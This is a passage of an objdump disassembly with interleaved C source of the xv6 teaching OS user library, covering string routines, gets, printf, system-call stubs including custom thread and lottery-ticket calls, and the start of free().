37e: 5b pop %ebx
37f: 5d pop %ebp
380: c3 ret
381: eb 0d jmp 390 <strcmp>
383: 90 nop
384: 90 nop
385: 90 nop
386: 90 nop
387: 90 nop
388: 90 nop
389: 90 nop
38a: 90 nop
38b: 90 nop
38c: 90 nop
38d: 90 nop
38e: 90 nop
38f: 90 nop
00000390 <strcmp>:
int
strcmp(const char *p, const char *q)
{
390: 55 push %ebp
391: 89 e5 mov %esp,%ebp
393: 53 push %ebx
394: 8b 4d 08 mov 0x8(%ebp),%ecx
397: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
39a: 0f b6 01 movzbl (%ecx),%eax
39d: 84 c0 test %al,%al
39f: 75 14 jne 3b5 <strcmp+0x25>
3a1: eb 25 jmp 3c8 <strcmp+0x38>
3a3: 90 nop
3a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
p++, q++;
3a8: 83 c1 01 add $0x1,%ecx
3ab: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
3ae: 0f b6 01 movzbl (%ecx),%eax
3b1: 84 c0 test %al,%al
3b3: 74 13 je 3c8 <strcmp+0x38>
3b5: 0f b6 1a movzbl (%edx),%ebx
3b8: 38 d8 cmp %bl,%al
3ba: 74 ec je 3a8 <strcmp+0x18>
3bc: 0f b6 db movzbl %bl,%ebx
3bf: 0f b6 c0 movzbl %al,%eax
3c2: 29 d8 sub %ebx,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
}
3c4: 5b pop %ebx
3c5: 5d pop %ebp
3c6: c3 ret
3c7: 90 nop
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
3c8: 0f b6 1a movzbl (%edx),%ebx
3cb: 31 c0 xor %eax,%eax
3cd: 0f b6 db movzbl %bl,%ebx
3d0: 29 d8 sub %ebx,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
}
3d2: 5b pop %ebx
3d3: 5d pop %ebp
3d4: c3 ret
3d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
3d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000003e0 <strlen>:
uint
strlen(char *s)
{
3e0: 55 push %ebp
int n;
for(n = 0; s[n]; n++)
3e1: 31 d2 xor %edx,%edx
return (uchar)*p - (uchar)*q;
}
uint
strlen(char *s)
{
3e3: 89 e5 mov %esp,%ebp
int n;
for(n = 0; s[n]; n++)
3e5: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
}
uint
strlen(char *s)
{
3e7: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
3ea: 80 39 00 cmpb $0x0,(%ecx)
3ed: 74 0c je 3fb <strlen+0x1b>
3ef: 90 nop
3f0: 83 c2 01 add $0x1,%edx
3f3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
3f7: 89 d0 mov %edx,%eax
3f9: 75 f5 jne 3f0 <strlen+0x10>
;
return n;
}
3fb: 5d pop %ebp
3fc: c3 ret
3fd: 8d 76 00 lea 0x0(%esi),%esi
00000400 <memset>:
void*
memset(void *dst, int c, uint n)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 8b 4d 10 mov 0x10(%ebp),%ecx
406: 53 push %ebx
407: 8b 45 08 mov 0x8(%ebp),%eax
char *d;
d = dst;
while(n-- > 0)
40a: 85 c9 test %ecx,%ecx
40c: 74 14 je 422 <memset+0x22>
40e: 0f b6 5d 0c movzbl 0xc(%ebp),%ebx
412: 31 d2 xor %edx,%edx
414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*d++ = c;
418: 88 1c 10 mov %bl,(%eax,%edx,1)
41b: 83 c2 01 add $0x1,%edx
memset(void *dst, int c, uint n)
{
char *d;
d = dst;
while(n-- > 0)
41e: 39 ca cmp %ecx,%edx
420: 75 f6 jne 418 <memset+0x18>
*d++ = c;
return dst;
}
422: 5b pop %ebx
423: 5d pop %ebp
424: c3 ret
425: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000430 <strchr>:
char*
strchr(const char *s, char c)
{
430: 55 push %ebp
431: 89 e5 mov %esp,%ebp
433: 8b 45 08 mov 0x8(%ebp),%eax
436: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
43a: 0f b6 10 movzbl (%eax),%edx
43d: 84 d2 test %dl,%dl
43f: 75 11 jne 452 <strchr+0x22>
441: eb 15 jmp 458 <strchr+0x28>
443: 90 nop
444: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
448: 83 c0 01 add $0x1,%eax
44b: 0f b6 10 movzbl (%eax),%edx
44e: 84 d2 test %dl,%dl
450: 74 06 je 458 <strchr+0x28>
if(*s == c)
452: 38 ca cmp %cl,%dl
454: 75 f2 jne 448 <strchr+0x18>
return (char*) s;
return 0;
}
456: 5d pop %ebp
457: c3 ret
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
458: 31 c0 xor %eax,%eax
if(*s == c)
return (char*) s;
return 0;
}
45a: 5d pop %ebp
45b: 90 nop
45c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
460: c3 ret
461: eb 0d jmp 470 <atoi>
463: 90 nop
464: 90 nop
465: 90 nop
466: 90 nop
467: 90 nop
468: 90 nop
469: 90 nop
46a: 90 nop
46b: 90 nop
46c: 90 nop
46d: 90 nop
46e: 90 nop
46f: 90 nop
00000470 <atoi>:
return r;
}
int
atoi(const char *s)
{
470: 55 push %ebp
int n;
n = 0;
while('0' <= *s && *s <= '9')
471: 31 c0 xor %eax,%eax
return r;
}
int
atoi(const char *s)
{
473: 89 e5 mov %esp,%ebp
475: 8b 4d 08 mov 0x8(%ebp),%ecx
478: 53 push %ebx
int n;
n = 0;
while('0' <= *s && *s <= '9')
479: 0f b6 11 movzbl (%ecx),%edx
47c: 8d 5a d0 lea -0x30(%edx),%ebx
47f: 80 fb 09 cmp $0x9,%bl
482: 77 1c ja 4a0 <atoi+0x30>
484: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
n = n*10 + *s++ - '0';
488: 0f be d2 movsbl %dl,%edx
48b: 83 c1 01 add $0x1,%ecx
48e: 8d 04 80 lea (%eax,%eax,4),%eax
491: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
495: 0f b6 11 movzbl (%ecx),%edx
498: 8d 5a d0 lea -0x30(%edx),%ebx
49b: 80 fb 09 cmp $0x9,%bl
49e: 76 e8 jbe 488 <atoi+0x18>
n = n*10 + *s++ - '0';
return n;
}
4a0: 5b pop %ebx
4a1: 5d pop %ebp
4a2: c3 ret
4a3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
4a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000004b0 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
4b0: 55 push %ebp
4b1: 89 e5 mov %esp,%ebp
4b3: 56 push %esi
4b4: 8b 45 08 mov 0x8(%ebp),%eax
4b7: 53 push %ebx
4b8: 8b 5d 10 mov 0x10(%ebp),%ebx
4bb: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
4be: 85 db test %ebx,%ebx
4c0: 7e 14 jle 4d6 <memmove+0x26>
n = n*10 + *s++ - '0';
return n;
}
void*
memmove(void *vdst, void *vsrc, int n)
4c2: 31 d2 xor %edx,%edx
4c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
*dst++ = *src++;
4c8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
4cc: 88 0c 10 mov %cl,(%eax,%edx,1)
4cf: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
4d2: 39 da cmp %ebx,%edx
4d4: 75 f2 jne 4c8 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
4d6: 5b pop %ebx
4d7: 5e pop %esi
4d8: 5d pop %ebp
4d9: c3 ret
4da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000004e0 <stat>:
return buf;
}
int
stat(char *n, struct stat *st)
{
4e0: 55 push %ebp
4e1: 89 e5 mov %esp,%ebp
4e3: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
4e6: 8b 45 08 mov 0x8(%ebp),%eax
return buf;
}
int
stat(char *n, struct stat *st)
{
4e9: 89 5d f8 mov %ebx,-0x8(%ebp)
4ec: 89 75 fc mov %esi,-0x4(%ebp)
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
4ef: be ff ff ff ff mov $0xffffffff,%esi
stat(char *n, struct stat *st)
{
int fd;
int r;
fd = open(n, O_RDONLY);
4f4: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
4fb: 00
4fc: 89 04 24 mov %eax,(%esp)
4ff: e8 d4 00 00 00 call 5d8 <open>
if(fd < 0)
504: 85 c0 test %eax,%eax
stat(char *n, struct stat *st)
{
int fd;
int r;
fd = open(n, O_RDONLY);
506: 89 c3 mov %eax,%ebx
if(fd < 0)
508: 78 19 js 523 <stat+0x43>
return -1;
r = fstat(fd, st);
50a: 8b 45 0c mov 0xc(%ebp),%eax
50d: 89 1c 24 mov %ebx,(%esp)
510: 89 44 24 04 mov %eax,0x4(%esp)
514: e8 d7 00 00 00 call 5f0 <fstat>
close(fd);
519: 89 1c 24 mov %ebx,(%esp)
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
r = fstat(fd, st);
51c: 89 c6 mov %eax,%esi
close(fd);
51e: e8 9d 00 00 00 call 5c0 <close>
return r;
}
523: 89 f0 mov %esi,%eax
525: 8b 5d f8 mov -0x8(%ebp),%ebx
528: 8b 75 fc mov -0x4(%ebp),%esi
52b: 89 ec mov %ebp,%esp
52d: 5d pop %ebp
52e: c3 ret
52f: 90 nop
00000530 <gets>:
return 0;
}
char*
gets(char *buf, int max)
{
530: 55 push %ebp
531: 89 e5 mov %esp,%ebp
533: 57 push %edi
534: 56 push %esi
535: 31 f6 xor %esi,%esi
537: 53 push %ebx
538: 83 ec 2c sub $0x2c,%esp
53b: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
53e: eb 06 jmp 546 <gets+0x16>
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
540: 3c 0a cmp $0xa,%al
542: 74 39 je 57d <gets+0x4d>
544: 89 de mov %ebx,%esi
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
546: 8d 5e 01 lea 0x1(%esi),%ebx
549: 3b 5d 0c cmp 0xc(%ebp),%ebx
54c: 7d 31 jge 57f <gets+0x4f>
cc = read(0, &c, 1);
54e: 8d 45 e7 lea -0x19(%ebp),%eax
551: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
558: 00
559: 89 44 24 04 mov %eax,0x4(%esp)
55d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
564: e8 47 00 00 00 call 5b0 <read>
if(cc < 1)
569: 85 c0 test %eax,%eax
56b: 7e 12 jle 57f <gets+0x4f>
break;
buf[i++] = c;
56d: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
571: 88 44 1f ff mov %al,-0x1(%edi,%ebx,1)
if(c == '\n' || c == '\r')
575: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
579: 3c 0d cmp $0xd,%al
57b: 75 c3 jne 540 <gets+0x10>
57d: 89 de mov %ebx,%esi
break;
}
buf[i] = '\0';
57f: c6 04 37 00 movb $0x0,(%edi,%esi,1)
return buf;
}
583: 89 f8 mov %edi,%eax
585: 83 c4 2c add $0x2c,%esp
588: 5b pop %ebx
589: 5e pop %esi
58a: 5f pop %edi
58b: 5d pop %ebp
58c: c3 ret
58d: 90 nop
58e: 90 nop
58f: 90 nop
00000590 <fork>:
590: b8 01 00 00 00 mov $0x1,%eax
595: cd 30 int $0x30
597: c3 ret
00000598 <exit>:
598: b8 02 00 00 00 mov $0x2,%eax
59d: cd 30 int $0x30
59f: c3 ret
000005a0 <wait>:
5a0: b8 03 00 00 00 mov $0x3,%eax
5a5: cd 30 int $0x30
5a7: c3 ret
000005a8 <pipe>:
5a8: b8 04 00 00 00 mov $0x4,%eax
5ad: cd 30 int $0x30
5af: c3 ret
000005b0 <read>:
5b0: b8 06 00 00 00 mov $0x6,%eax
5b5: cd 30 int $0x30
5b7: c3 ret
000005b8 <write>:
5b8: b8 05 00 00 00 mov $0x5,%eax
5bd: cd 30 int $0x30
5bf: c3 ret
000005c0 <close>:
5c0: b8 07 00 00 00 mov $0x7,%eax
5c5: cd 30 int $0x30
5c7: c3 ret
000005c8 <kill>:
5c8: b8 08 00 00 00 mov $0x8,%eax
5cd: cd 30 int $0x30
5cf: c3 ret
000005d0 <exec>:
5d0: b8 09 00 00 00 mov $0x9,%eax
5d5: cd 30 int $0x30
5d7: c3 ret
000005d8 <open>:
5d8: b8 0a 00 00 00 mov $0xa,%eax
5dd: cd 30 int $0x30
5df: c3 ret
000005e0 <mknod>:
5e0: b8 0b 00 00 00 mov $0xb,%eax
5e5: cd 30 int $0x30
5e7: c3 ret
000005e8 <unlink>:
5e8: b8 0c 00 00 00 mov $0xc,%eax
5ed: cd 30 int $0x30
5ef: c3 ret
000005f0 <fstat>:
5f0: b8 0d 00 00 00 mov $0xd,%eax
5f5: cd 30 int $0x30
5f7: c3 ret
000005f8 <link>:
5f8: b8 0e 00 00 00 mov $0xe,%eax
5fd: cd 30 int $0x30
5ff: c3 ret
00000600 <mkdir>:
600: b8 0f 00 00 00 mov $0xf,%eax
605: cd 30 int $0x30
607: c3 ret
00000608 <chdir>:
608: b8 10 00 00 00 mov $0x10,%eax
60d: cd 30 int $0x30
60f: c3 ret
00000610 <dup>:
610: b8 11 00 00 00 mov $0x11,%eax
615: cd 30 int $0x30
617: c3 ret
00000618 <getpid>:
618: b8 12 00 00 00 mov $0x12,%eax
61d: cd 30 int $0x30
61f: c3 ret
00000620 <sbrk>:
620: b8 13 00 00 00 mov $0x13,%eax
625: cd 30 int $0x30
627: c3 ret
00000628 <sleep>:
628: b8 14 00 00 00 mov $0x14,%eax
62d: cd 30 int $0x30
62f: c3 ret
00000630 <tick>:
630: b8 15 00 00 00 mov $0x15,%eax
635: cd 30 int $0x30
637: c3 ret
00000638 <fork_tickets>:
638: b8 16 00 00 00 mov $0x16,%eax
63d: cd 30 int $0x30
63f: c3 ret
00000640 <fork_thread>:
640: b8 19 00 00 00 mov $0x19,%eax
645: cd 30 int $0x30
647: c3 ret
00000648 <wait_thread>:
648: b8 1a 00 00 00 mov $0x1a,%eax
64d: cd 30 int $0x30
64f: c3 ret
00000650 <sleep_lock>:
650: b8 17 00 00 00 mov $0x17,%eax
655: cd 30 int $0x30
657: c3 ret
00000658 <wake_lock>:
658: b8 18 00 00 00 mov $0x18,%eax
65d: cd 30 int $0x30
65f: c3 ret
00000660 <putc>:
//struct mutex_t plock;
static void
putc(int fd, char c)
{
660: 55 push %ebp
661: 89 e5 mov %esp,%ebp
663: 83 ec 28 sub $0x28,%esp
666: 88 55 f4 mov %dl,-0xc(%ebp)
write(fd, &c, 1);
669: 8d 55 f4 lea -0xc(%ebp),%edx
66c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
673: 00
674: 89 54 24 04 mov %edx,0x4(%esp)
678: 89 04 24 mov %eax,(%esp)
67b: e8 38 ff ff ff call 5b8 <write>
}
680: c9 leave
681: c3 ret
682: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
689: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000690 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
690: 55 push %ebp
691: 89 e5 mov %esp,%ebp
693: 57 push %edi
694: 89 c7 mov %eax,%edi
696: 56 push %esi
697: 89 ce mov %ecx,%esi
699: 53 push %ebx
69a: 83 ec 2c sub $0x2c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
69d: 8b 4d 08 mov 0x8(%ebp),%ecx
6a0: 85 c9 test %ecx,%ecx
6a2: 74 04 je 6a8 <printint+0x18>
6a4: 85 d2 test %edx,%edx
6a6: 78 5d js 705 <printint+0x75>
neg = 1;
x = -xx;
} else {
x = xx;
6a8: 89 d0 mov %edx,%eax
6aa: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
6b1: 31 c9 xor %ecx,%ecx
6b3: 8d 5d d8 lea -0x28(%ebp),%ebx
6b6: 66 90 xchg %ax,%ax
}
i = 0;
do{
buf[i++] = digits[x % base];
6b8: 31 d2 xor %edx,%edx
6ba: f7 f6 div %esi
6bc: 0f b6 92 7f 0a 00 00 movzbl 0xa7f(%edx),%edx
6c3: 88 14 0b mov %dl,(%ebx,%ecx,1)
6c6: 83 c1 01 add $0x1,%ecx
}while((x /= base) != 0);
6c9: 85 c0 test %eax,%eax
6cb: 75 eb jne 6b8 <printint+0x28>
if(neg)
6cd: 8b 45 d4 mov -0x2c(%ebp),%eax
6d0: 85 c0 test %eax,%eax
6d2: 74 08 je 6dc <printint+0x4c>
buf[i++] = '-';
6d4: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
6d9: 83 c1 01 add $0x1,%ecx
while(--i >= 0)
6dc: 8d 71 ff lea -0x1(%ecx),%esi
6df: 01 f3 add %esi,%ebx
6e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, buf[i]);
6e8: 0f be 13 movsbl (%ebx),%edx
6eb: 89 f8 mov %edi,%eax
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
6ed: 83 ee 01 sub $0x1,%esi
6f0: 83 eb 01 sub $0x1,%ebx
putc(fd, buf[i]);
6f3: e8 68 ff ff ff call 660 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
6f8: 83 fe ff cmp $0xffffffff,%esi
6fb: 75 eb jne 6e8 <printint+0x58>
putc(fd, buf[i]);
}
6fd: 83 c4 2c add $0x2c,%esp
700: 5b pop %ebx
701: 5e pop %esi
702: 5f pop %edi
703: 5d pop %ebp
704: c3 ret
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
705: 89 d0 mov %edx,%eax
707: f7 d8 neg %eax
709: c7 45 d4 01 00 00 00 movl $0x1,-0x2c(%ebp)
710: eb 9f jmp 6b1 <printint+0x21>
712: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
719: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000720 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
720: 55 push %ebp
721: 89 e5 mov %esp,%ebp
723: 57 push %edi
724: 56 push %esi
725: 53 push %ebx
726: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
729: 8b 45 0c mov 0xc(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
72c: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
72f: 0f b6 08 movzbl (%eax),%ecx
732: 84 c9 test %cl,%cl
734: 0f 84 96 00 00 00 je 7d0 <printf+0xb0>
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
73a: 8d 55 10 lea 0x10(%ebp),%edx
73d: 31 f6 xor %esi,%esi
73f: 89 55 e4 mov %edx,-0x1c(%ebp)
742: 31 db xor %ebx,%ebx
744: eb 1a jmp 760 <printf+0x40>
746: 66 90 xchg %ax,%ax
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
748: 83 f9 25 cmp $0x25,%ecx
74b: 0f 85 87 00 00 00 jne 7d8 <printf+0xb8>
751: 66 be 25 00 mov $0x25,%si
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
755: 83 c3 01 add $0x1,%ebx
758: 0f b6 0c 18 movzbl (%eax,%ebx,1),%ecx
75c: 84 c9 test %cl,%cl
75e: 74 70 je 7d0 <printf+0xb0>
c = fmt[i] & 0xff;
if(state == 0){
760: 85 f6 test %esi,%esi
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
762: 0f b6 c9 movzbl %cl,%ecx
if(state == 0){
765: 74 e1 je 748 <printf+0x28>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
767: 83 fe 25 cmp $0x25,%esi
76a: 75 e9 jne 755 <printf+0x35>
if(c == 'd'){
76c: 83 f9 64 cmp $0x64,%ecx
76f: 90 nop
770: 0f 84 fa 00 00 00 je 870 <printf+0x150>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
776: 83 f9 70 cmp $0x70,%ecx
779: 74 75 je 7f0 <printf+0xd0>
77b: 83 f9 78 cmp $0x78,%ecx
77e: 66 90 xchg %ax,%ax
780: 74 6e je 7f0 <printf+0xd0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
782: 83 f9 73 cmp $0x73,%ecx
785: 0f 84 8d 00 00 00 je 818 <printf+0xf8>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
78b: 83 f9 63 cmp $0x63,%ecx
78e: 66 90 xchg %ax,%ax
790: 0f 84 fe 00 00 00 je 894 <printf+0x174>
putc(fd, *ap);
ap++;
} else if(c == '%'){
796: 83 f9 25 cmp $0x25,%ecx
799: 0f 84 b9 00 00 00 je 858 <printf+0x138>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
79f: ba 25 00 00 00 mov $0x25,%edx
7a4: 89 f8 mov %edi,%eax
7a6: 89 4d e0 mov %ecx,-0x20(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
7a9: 83 c3 01 add $0x1,%ebx
} else if(c == '%'){
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
7ac: 31 f6 xor %esi,%esi
ap++;
} else if(c == '%'){
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
7ae: e8 ad fe ff ff call 660 <putc>
putc(fd, c);
7b3: 8b 4d e0 mov -0x20(%ebp),%ecx
7b6: 89 f8 mov %edi,%eax
7b8: 0f be d1 movsbl %cl,%edx
7bb: e8 a0 fe ff ff call 660 <putc>
7c0: 8b 45 0c mov 0xc(%ebp),%eax
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
7c3: 0f b6 0c 18 movzbl (%eax,%ebx,1),%ecx
7c7: 84 c9 test %cl,%cl
7c9: 75 95 jne 760 <printf+0x40>
7cb: 90 nop
7cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
state = 0;
}
}
//mutex_unlock(&plock);
}
7d0: 83 c4 2c add $0x2c,%esp
7d3: 5b pop %ebx
7d4: 5e pop %esi
7d5: 5f pop %edi
7d6: 5d pop %ebp
7d7: c3 ret
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
} else {
putc(fd, c);
7d8: 89 f8 mov %edi,%eax
7da: 0f be d1 movsbl %cl,%edx
7dd: e8 7e fe ff ff call 660 <putc>
7e2: 8b 45 0c mov 0xc(%ebp),%eax
7e5: e9 6b ff ff ff jmp 755 <printf+0x35>
7ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
7f0: 8b 45 e4 mov -0x1c(%ebp),%eax
7f3: b9 10 00 00 00 mov $0x10,%ecx
ap++;
7f8: 31 f6 xor %esi,%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
7fa: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801: 8b 10 mov (%eax),%edx
803: 89 f8 mov %edi,%eax
805: e8 86 fe ff ff call 690 <printint>
80a: 8b 45 0c mov 0xc(%ebp),%eax
ap++;
80d: 83 45 e4 04 addl $0x4,-0x1c(%ebp)
811: e9 3f ff ff ff jmp 755 <printf+0x35>
816: 66 90 xchg %ax,%ax
} else if(c == 's'){
s = (char*)*ap;
818: 8b 55 e4 mov -0x1c(%ebp),%edx
81b: 8b 32 mov (%edx),%esi
ap++;
81d: 83 c2 04 add $0x4,%edx
820: 89 55 e4 mov %edx,-0x1c(%ebp)
if(s == 0)
823: 85 f6 test %esi,%esi
825: 0f 84 84 00 00 00 je 8af <printf+0x18f>
s = "(null)";
while(*s != 0){
82b: 0f b6 16 movzbl (%esi),%edx
82e: 84 d2 test %dl,%dl
830: 74 1d je 84f <printf+0x12f>
832: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
putc(fd, *s);
838: 0f be d2 movsbl %dl,%edx
s++;
83b: 83 c6 01 add $0x1,%esi
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
83e: 89 f8 mov %edi,%eax
840: e8 1b fe ff ff call 660 <putc>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
845: 0f b6 16 movzbl (%esi),%edx
848: 84 d2 test %dl,%dl
84a: 75 ec jne 838 <printf+0x118>
84c: 8b 45 0c mov 0xc(%ebp),%eax
} else if(c == '%'){
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
84f: 31 f6 xor %esi,%esi
851: e9 ff fe ff ff jmp 755 <printf+0x35>
856: 66 90 xchg %ax,%ax
}
} else if(c == 'c'){
putc(fd, *ap);
ap++;
} else if(c == '%'){
putc(fd, c);
858: 89 f8 mov %edi,%eax
85a: ba 25 00 00 00 mov $0x25,%edx
85f: e8 fc fd ff ff call 660 <putc>
864: 31 f6 xor %esi,%esi
866: 8b 45 0c mov 0xc(%ebp),%eax
869: e9 e7 fe ff ff jmp 755 <printf+0x35>
86e: 66 90 xchg %ax,%ax
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
870: 8b 45 e4 mov -0x1c(%ebp),%eax
873: b1 0a mov $0xa,%cl
ap++;
875: 66 31 f6 xor %si,%si
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
878: c7 04 24 01 00 00 00 movl $0x1,(%esp)
87f: 8b 10 mov (%eax),%edx
881: 89 f8 mov %edi,%eax
883: e8 08 fe ff ff call 690 <printint>
888: 8b 45 0c mov 0xc(%ebp),%eax
ap++;
88b: 83 45 e4 04 addl $0x4,-0x1c(%ebp)
88f: e9 c1 fe ff ff jmp 755 <printf+0x35>
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
894: 8b 45 e4 mov -0x1c(%ebp),%eax
ap++;
897: 31 f6 xor %esi,%esi
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
899: 0f be 10 movsbl (%eax),%edx
89c: 89 f8 mov %edi,%eax
89e: e8 bd fd ff ff call 660 <putc>
8a3: 8b 45 0c mov 0xc(%ebp),%eax
ap++;
8a6: 83 45 e4 04 addl $0x4,-0x1c(%ebp)
8aa: e9 a6 fe ff ff jmp 755 <printf+0x35>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
8af: be 78 0a 00 00 mov $0xa78,%esi
8b4: e9 72 ff ff ff jmp 82b <printf+0x10b>
8b9: 90 nop
8ba: 90 nop
8bb: 90 nop
8bc: 90 nop
8bd: 90 nop
8be: 90 nop
8bf: 90 nop
000008c0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
8c0: 55 push %ebp
Header *bp, *p;
bp = (Header*) ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8c1: a1 a8 0a 00 00 mov 0xaa8,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
8c6: 89 e5 mov %esp,%ebp
8c8: 57 push %edi
8c9: 56 push %esi
8ca: 53 push %ebx
8cb: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*) ap - 1;
8ce: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8d1: 39 c8 cmp %ecx,%eax
8d3: 73 1d jae 8f2 <free+0x32>
8d5: 8d 76 00 lea 0x0(%esi),%esi
8d8: 8b 10 mov (%eax),%edx
8da: 39 d1 cmp %edx,%ecx
8dc: 72 1a jb 8f8 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8de: 39 d0 cmp %edx,%eax
